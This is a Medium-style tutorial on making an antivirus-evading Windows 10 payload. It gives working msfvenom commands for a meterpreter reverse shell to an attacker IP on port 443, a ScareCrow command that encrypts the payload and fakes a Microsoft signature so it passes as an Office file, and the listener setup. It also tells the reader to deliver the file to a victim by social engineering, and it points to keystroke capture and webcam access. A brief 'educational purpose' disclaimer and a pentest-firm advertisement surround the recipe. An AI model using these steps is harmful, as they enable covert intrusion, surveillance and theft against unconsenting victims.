How to create windows 10 antivirus undetectable payload to gain reverse shell?

This medium article is a complete guide on creating an undetectable windows 10 antivirus payload, using which various objectives can be achieved on a victim machine such as, reverse shell, key strokes, webcam hack, and victim screen access etc.

Before moving on, this article is only for educational purpose. Please don’t use it to attack unethically, only use where you are authorized to.

Setup

For carrying out this attack you will need following:

1. Metasploit — https://www.metasploit.com/download
2. ScareCrow — https://github.com/optiv/ScareCrow
3. Kali Linux (attacker)
4. Virtual Box for windows 10 (victim) — https://www.microsoft.com/en-us/software-download/windows10

Attack

Now using msfvenom module of metasploit generate a windows payload in “raw” format and file type “bin” . The payload type could be any of your own choice, I used the following:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=attacker IP address LPORT=443 -f raw -o exploit.bin

Here,

1. -p = payload
2. LHOST = listening host (attacker machine IP address)
3. LPORT = it could be any port number
4. -f = format of payload
5. -o = payload file name with type

Now, install ScareCrow tool and build it as per given instructions on Github repository page.

To make payload undetectable use the following command,

./ScareCrow -I exploit.bin -domain www.microsoft.com -encryptionmode AES

Here,

1. -I = payload file in bin file type
2. -domain = domain on which fake signature to be added on payload
3. -encryptionmode = encryption algorithm (AES recommended)

ScareCrow tool will make this file look legitimate such as in Excel, OneNote to phish the victim to open it.

Now to listen use metasplot multi/handler and set all the options as follows:

1. set payload windows/x64/meterpreter_reverse_tcp
2. set LHOST (attacker ip adderss)
3. set LPORT 443

Configure these options as per your details. Now type exploit and press enter to activate the listener.

Send payload to victim, it can be through any way such as social engineering. Now whenever victim tries to open the file you will get a meterpreter session (reverse shell) on attacker machine.

Using this meterpreter session you can gain many options on victim machine.

Advertisement:

Securetackles is a cyber security company providing penetration testing services at very affordable prices, especially for small and mid sized companies. For more info, go check out their website https://securetackles.com/ and Linkedin page https://www.linkedin.com/company/securetackles/posts/?feedView=all

Follow me on Linkedin: https://www.linkedin.com/in/muhammad-abdullah-32a753208/